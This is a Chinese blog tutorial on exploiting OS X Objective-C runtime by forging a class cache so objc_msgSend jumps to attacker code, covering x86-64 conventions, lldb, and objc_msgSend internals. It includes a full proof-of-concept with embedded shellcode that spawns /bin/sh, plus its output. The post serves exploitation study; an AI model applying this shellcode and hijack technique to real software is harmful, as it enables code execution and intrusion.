vvun91e0n · 2015/06/05 9:56
author vvun91e0n
0x00 前言
阅读学习国外nemo大牛《Modern Objective-C Exploitation Techniques》文章的内容，就想在最新的OS X版本上调试出作者给出的代码。控制rip。我根据自己的调试，修改了原程序，才调试成功。对大牛原程序的部分代码的意图和计算方法难免理解不足，欢迎留言与我交流学习。本文主要简要介绍下对objective-c类的覆盖到控制rip的技术。是目前OS X平台下，比较主流的一种溢出利用方式。
0x01 64位汇编知识及lldb简单调试命令
汇编知识主要是在调试的时候使用，在64位平台下调试必不可少的知识。对此熟悉的读者可直接跳过。下面简要介绍下64位汇编。
RIP的就是64位的指令寄存器。
通用64位寄存器
RAX RBX RCX RDX RBP RSI RDI RSP复制代码
R8 －－－ R15
可以使用
- EAX 访问RAX的低32bits
- AX 访问RAX的低16bits
- AL 访问RAX的低8bist
- AH 访问RAX低16bits的高8bits
OS X 64位的汇编调用约定，可以参考AMD64 Application Binary Interface
x86-64 Function Calling convention:
If the class is MEMORY, pass the argument on the stack.
If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9 is used.
可以看到和32位汇编的通过push压栈来传递参数不同，函数的参数传递基本是通过寄存器来完成的。顺序如上。 32位汇编通过int 0x80来进行系统调用，64位汇编是通过syscall来调用的。
lldb是苹果公司推出的用以替代gdb的调试器。随xcode一起安装。是进行动态调试的利器。调试时必不可少。下面简要介绍下会用到的一些基础命令：
在命令行输入lldb，就会进入调试工具
(lldb)复制代码
help会显示所有的命令，需要详细了解可以用输入help ＋ 命令查询
file命令加载需要调试的程序
(lldb) file /Users/vvun91e0n/Desktop/OC64exploitCurrent executable set to '/Users/vvun91e0n/Desktop/OC64exploit' (x86_64).复制代码
breakpoint set用来设置断点
(lldb) breakpoint set --name length复制代码
breakpoint list可以用来查看所有断点 breakpoint disable 关闭断点 breakpoint enable 激活断点 ni 单步步不执行指令
run或r启动进程进行调试
register read 读取现在所有寄存器的值 想读取特定的几个寄存器，写在后面就行，使用简化命令如
(lldb) re r rdi r10 rsi rdi = 0x0000000100202fa0 r10 = 0x0000000000000001 rsi = 0x00007fff907bb509复制代码
memory read 可以读取指定地址的内存数据，如下指定地址就是length字符串。也可以使用gdb风格的x 0x00007fff907bb509命令来读取内存数据。
(lldb) memory read 0x00007fff907bb5090x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74 length.isTypeNot0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e Exclusive:.appen(lldb) x 0x00007fff907bb5090x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74 length.isTypeNot0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e Exclusive:.appen复制代码
continue 或者c 命令来继续执行。 kill来结束进程。run来重新启动。 其他如条件断点，修改寄存器值等命令读者可以使用help命令了解。
0x02 objective-c方法调用
你需要对objective-c语言有一定的基本的了解。特别是objc_msgSend函数的调用机制。可以参考：《The Objective-C Runtime: Understanding and Abusing》。这篇文章是nemo2009年发表在phrack上的。在32位系统基础上讲Objective-C Runtime溢出的文章。还是有阅读价值的。特别是对后面64位溢出的理解。
下面简要介绍下objective-c，先看看一个简单的类实现和调用：
#!c// Talker.h#import@interface Talker : NSObject //定义一个类- (void) say: (char *) str; //声明一个say方法@end// Talker.m#import "Talker.h"@implementation Talker //类的相关方法实现- (void) say: (char *) phrase{ printf("%s\n",phrase);}@end//main.m#import "Talker.h"int main(int argc, const char * argv[]) { @autoreleasepool { // insert code here... Talker *talker = [[Talker alloc] init];//分配内存，初始化 [talker say: "Hello, World!"]; //调用say方法 } return 0;}复制代码
如上面代码所示，定义了一个Talker类，并在main函数中调用了say方法。 可以看出objective-c语言的方法调用语法为
[\\: \];
主程序进行了3次函数调用
class | method -------|----------- Talker | alloctalker | init talker | say复制代码
将上面的代码在xcode中编译生成后的程序放入Hopper静态反汇编后，会得到一下汇编代码（注：这个事release版的结果，debug版的反汇编结果稍有不同）
#!bashmov rdi, qword [ds:objc_cls_ref_Talker] ; objc_cls_ref_Talker, argument "instance" for method _objc_msgSendmov rsi, qword [ds:0x1000010f8] ; @selector(alloc), argument "selector" for method _objc_msgSendmov r15, qword [ds:imp___got__objc_msgSend] ; imp___got__objc_msgSendcall r15 ; _objc_msgSendmov rsi, qword [ds:0x100001100] ; @selector(init), argument "selector" for method _objc_msgSendmov rdi, rax ; argument "instance" for method _objc_msgSendcall r15 ; _objc_msgSendmov rbx, raxmov rsi, qword [ds:0x100001108] ; @selector(say:), argument "selector" for method _objc_msgSendlea rdx, qword [ds:0x100000f70] ; "Hello, World!"mov rdi, rbx ; argument "instance" for method _objc_msgSendcall r15 ; _objc_msgSend复制代码
可以看出在进行方法调用时并不是直接call方法地址，而是将方法的selector作为第二个参数传入rsi寄存器。与之前介绍的64位汇编调用约定一样。第一参数对象指针isa压入rdi。然后call r15调用objc_msgSend函数。这个函数就是需要研究利用的对象。相对于c语言在编译时就决定运行时所调用的函数的静态绑定。objectie-c语言利用了消息传递objc_msgSend函数在运行时，动态绑定调用函数。objective-c利用这个消息机制实现了runtime的方法调用。提高了语言的灵活性。使得objective-c成为了一门动态语言。
0x03 objective-c的类结构和objc_msgSend函数
在64位系统中，runtime进行了重新编写，类的实现由原来的c语言struct结构，变成了c++类。
struct objc_class : objc_object {// Class ISA;Class superclass;cache_t cache; // formerly cache pointer and vtableclass_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags… }复制代码 类的第一个变量指向父类，在查询不到需要调用的方法时，会向父类继续进行查询。 第二个变量指向cache，这个cache缓存了最近调用方法的selector和imp（方法入口地址），之所以使用cache就是为了提高objective-c语言的动态绑定特性的效率。加快查询速度。
struct cache_t {struct bucket_t *_buckets;mask_t _mask;mask_t _occupied;… }struct bucket_t {private:cache_key_t _key;IMP _imp; ...}复制代码 cache的结构如上，cache里面的buckets指向一个bucket类，类里面的_key就是selector，指向选择子的字符串。_imp指向方法地址。
其中需要说明的是_mask。这个mask用来和输入的sel进行按位与，对结果进行处理，作为buckets数组的序号。加快选择速度，确定范围。在我们的实验代码里，根据调试发现mask实际上起到一个确定遍历范围的作用。
我的程序在mask的选择上，是根据我自己的调试结果设置的。nemo的源码的mask设置在我机器上运行后会取到非法内存。不知道是不是版本改变了更新了还是什么其他的原因导致的。我调试的时候lldb反汇编了objc_msgSend函数，对照该函数的源代码进行了调试。对nemo的代码进行了修改。读者可以同时看看nemo的源代码。还有几处我都做出了修改。
查询Objective-C Runtime Reference，可以得到该函数声明如下
#!bashid objc_msgSend ( id self, SEL op, ... );Parameters：self A pointer that points to the instance of the class that is to receive the message.op The selector of the method that handles the message.... A variable argument list containing the arguments to the method.复制代码
该函数的源代码是开源的，由汇编语言实现，以提高objective-c的执行效率。
大家看到第一个self参数实际就是指向实例的指针。第二个op参数就是sel，就是选择子。指向方法名字符串。
关于objc_msgSend的汇编源代码可以到苹果公司网站查看。以下是目前最新版本的链接地址
下面给出源代码
#!c++/******************************************************************** * * id objc_msgSend(id self, SEL _cmd,...); * ********************************************************************/ .data .align 3 .globl _objc_debug_taggedpointer_classes_objc_debug_taggedpointer_classes: .fill 16, 8, 0 ENTRY _objc_msgSend MESSENGER_START NilTest NORMAL GetIsaFast NORMAL // r11 = self->isa CacheLookup NORMAL // calls IMP on success NilTestSupport NORMAL GetIsaSupport NORMAL// cache miss: go search the method listsLCacheMiss: // isa still in r11 MethodTableLookup %a1, %a2 // r11 = IMP cmp %r11, %r11 // set eq (nonstret) for forwarding jmp *%r11 // goto *imp END_ENTRY _objc_msgSend ENTRY _objc_msgSend_fixup int3 END_ENTRY _objc_msgSend_fixup STATIC_ENTRY _objc_msgSend_fixedup // Load _cmd from the message_ref movq 8(%a2), %a2 jmp _objc_msgSend END_ENTRY _objc_msgSend_fixedup复制代码
可以看到该函数先获取isa指针，然后调用Cachelookup，在Cache中寻找sel，如果找不到就调用MethodTableLookup，在MethodTable中继续查找sel。这样只要我们能够覆盖类的内存，构造虚假的cache，提供正确的sel，就能够最终控制rip。对类结构进行溢出覆盖控制也是现在比较流行的OS X下溢出利用技术。
下面再来看看CacheLookup的源代码：
#!bash.macro CacheLookup.if $0 != STRET && $0 != SUPER_STRET && $0 != SUPER2_STRET movq %a2, %r10 // r10 = _cmd.else movq %a3, %r10 // r10 = _cmd.endif andl 24(%r11), %r10d // r10 = _cmd & class->cache.mask shlq $$4, %r10 // r10 = offset = (_cmd & mask)<<4 addq 16(%r11), %r10 // r10 = class->cache.buckets + offset.if $0 != STRET && $0 != SUPER_STRET && $0 != SUPER2_STRET cmpq (%r10), %a2 // if (bucket->sel != _cmd).else cmpq (%r10), %a3 // if (bucket->sel != _cmd).endif jne 1f // scan more // CacheHit must always be preceded by a not-taken `jne` instruction CacheHit $0 // call or return imp1: // loop cmpq $$0, (%r10) je LCacheMiss_f // if (bucket->sel == 0) cache miss cmpq 16(%r11), %r10 je 3f // if (bucket == cache->buckets) wrap subq $$16, %r10 // bucket--2: .if $0 != STRET && $0 != SUPER_STRET && $0 != SUPER2_STRET cmpq (%r10), %a2 // if (bucket->sel != _cmd).else cmpq (%r10), %a3 // if (bucket->sel != _cmd).endif jne 1b // scan more // CacheHit must always be preceded by a not-taken `jne` instruction CacheHit $0 // call or return imp其中的CacheHit就是在sel匹配成功后跳转到imp，从中可以看出mask的具体使用方法。 andl 24(%r11), %r10d // r10 = _cmd & class->cache.mask shlq $$4, %r10 // r10 = offset = (_cmd & mask)<<4 addq 16(%r11), %r10 // r10 = class->cache.buckets + offset复制代码
sel和mask进行了andl操作，命令andl操作数是32位。而且后面的操作数时％r10d，表示的是r10的低32位。r10的高32位应该不变。但是读者在调试的时候可能会发现证明r10的高32位也置零了。
关于这里大家就需要查查Intel的手册。有这样一句：
• 32-bit operands generate a 32-bit result, zero-extended to a 64-bit result in the destination general-purpose register.
由此可见，andl命令会将结果扩展到64位。
之后，将与后的结果左移4位得到offset。将offset加到buckets的上。
初始时offset就指向来整个数组的最后。通过subq命令递减。
subq $$16, %r10 // bucket--复制代码
从后向前来遍历buckets数组。如果命中了sel就可以跳到imp了。16就是我们bucket_t结构的大小。 说了这么多。接下来就来看看代码。
0x04 具体代码及细节说明
完整代码如下：
#!c/** main.m* OC64exploit Demo** Author: vvun91e0n* Date: 2015-05-25* Tested on: Mac OS X 10.10.3 （Darwin kernel version 14.3.0）& 10.10.4* Base on: nemo's source code @ www.phrack.com/papers/modern_objc_exploitation.html* Shellcode on: Dustin Schultz‘source code @ www.exploit－db.com/exploits/15618*/#import#define NUMBUCKETS 0x20000#define MASK 0x20000#define BASESEL 0x7fff80000509 //0x7fff907bb509 my "length" sel address //may change in different os or different appstruct fakecache { char pad[0x10]; long bucketptr; long mask;};struct cacheentry { long sel; long rip;};char shellcode[] ="\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0""\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52""\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f""\x2f\x73\x68";int main(int argc, const char * argv[]){ struct fakecache fc; char num[50]; unsigned int slide; void *pshellcode = mmap(0, 0x33, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if (pshellcode == MAP_FAILED) { printf("[+] shellcode mmap failed\n"); exit(1); } memcpy(pshellcode, shellcode, sizeof(shellcode)); printf("[+] Setting up shellcode\n"); struct cacheentry *buckets = malloc((NUMBUCKETS+1) * sizeof(struct cacheentry)); if(!buckets) { printf("[!] allocation failed.\n"); exit(1); } for(slide = 0; slide <= NUMBUCKETS ; slide++) { buckets[slide].sel = BASESEL + (slide * 0x1000); buckets[slide].rip = (long)pshellcode; } printf("[+] Setting up buckets\n"); NSString *l = [[NSString alloc] initWithUTF8String:"hello world"]; memset(&fc,'\xcc',sizeof(fc)); fc.mask = MASK; // mask fc.bucketptr = (unsigned long)buckets; printf("[+] Setting up fc\n"); printf("[+] fc @ 0x%lx\n",(unsigned long)&fc); printf("[+] Class @ 0x%lx\n",(unsigned long)l); printf("[+] Buckets @ 0x%lx\n",(unsigned long)buckets); printf("[+] String length: 0x%x\n",(unsigned int)[l length]); sprintf(num,"%li",(long)l); long *ptr = (long *)atol(num); *ptr = (long)&fc; // isa ptr printf("[+] Overwriting object\n"); printf("[+] Calling method\n"); printf("String length: 0x%x\n",(unsigned int)[l length]); return 0;}复制代码
具体步骤说明：
- 先申请一块可以执行的内存来存放shellcode。该shellcode功能是起一个sh。
- 在申请一块内存在构建bucket块。NUMBUCKETS的大小设置可以修改，合适就好。
- 开始构建虚假的bucket块。一共构建了NUMBUCKETS+1个。
每个bucket的rip(即imp)都指向shellcode的地址。
bucket的sel就是对应的length方法的选择子地址，也就是字符串的地址。这个就涉及到了OS X系统共享区域(Shared Region)的动态库dylib加载空间问题了。在64bit OS X系统里面共享区域开始于地址0x7FFF80000000。动态库加载地址会随机加上一个偏移。但是偏移都是以内存页为单位的，一个页的大小是0x1000。
通过在一个正常程序NSString类的length方法上下了断点，执行程序断在此处查看调用时的第二个参数rsi寄存器的值，我们就能得到这个length的地址
#!bashProcess 5001 stopped* thread #1: tid = 0x54aeb, 0x00007fff927cf1d0 CoreFoundation`-[__NSCFString length], queue = 'com.apple.main-thread', stop reason = breakpoint 1.32 frame #0: 0x00007fff927cf1d0 CoreFoundation`-[__NSCFString length]CoreFoundation`-[__NSCFString length]:-> 0x7fff927cf1d0 <+0>: pushq %rbp 0x7fff927cf1d1 <+1>: movq %rsp, %rbp 0x7fff927cf1d4 <+4>: popq %rbp 0x7fff927cf1d5 <+5>: jmp 0x7fff927cdcd0 ; _CFStringGetLength2(lldb) re r rsi rsi = 0x00007fff907bb509(lldb) x 0x00007fff907bb5090x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74 length.isTypeNot0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e Exclusive:.appen复制代码
由于加载以页为单位所以 后面的12bit 509是不会改变的。我们构建虚假bucket时就以0x1000为单位进行不断尝试每个地址。如果NUMBUCKETS的大小还不够，还可以增加。如果执行正确总会碰撞到正确的sel。从而转到imp。
- 构建虚假的objc_object结构，即代码中的fakecache，前面的superclass变量可随意填充。fc.mask和fc.bucketptr设置成对应值。
- 新建一个NSString类实例指针l。将l指针的地址改为fc的地址。
- 对l调用方法length。这样会调用objc_msgSend函数。
如果一些正常执行回执行shellcode，启动一个sh
#!bashMacBook:~ vvun91e0n$ /Users/vvun91e0n/Desktop/OC64exploit[+] Setting up shellcode[+] Setting up buckets[+] Setting up fc[+] fc @ 0x7fff57daba70[+] Class @ 0x7f8733c0d410[+] Buckets @ 0x107ecd000[+] String length: 0xb[+] Overwriting object[+] Calling methodsh-3.2$ 复制代码
在调试的时候可以利用添加条件断点断在最后一个溢出时调用的objc_msgSend处，利用单步执行ni命令。一条一条执行进行调试。利用disasseble命令查看objc_msgSend函数的反汇编代码。
0x05 总结
通过这个代码调试过程验证里对objective-c类结构进行溢出的可行性。可以成功获得rip。
在实际应用中可能不像例子中，直接修改类的地址。而是通过溢出覆盖一个类结构的数据。来获得rip。
但是在实际的应用中获得rip还是远远不够的。还要对抗NX和ASLR等技术。现在比较通用的方法还是利用ROP chain等技术来成功利用溢出。
谢谢阅读
参考：
Modern Objective-C Exploitation Techniques
The Objective-C Runtime: Understanding and Abusing
AMD64 Application Binary Interface
Objective-C消息机制的原理
详解objc_msgSend
理解objc_msgSend的作用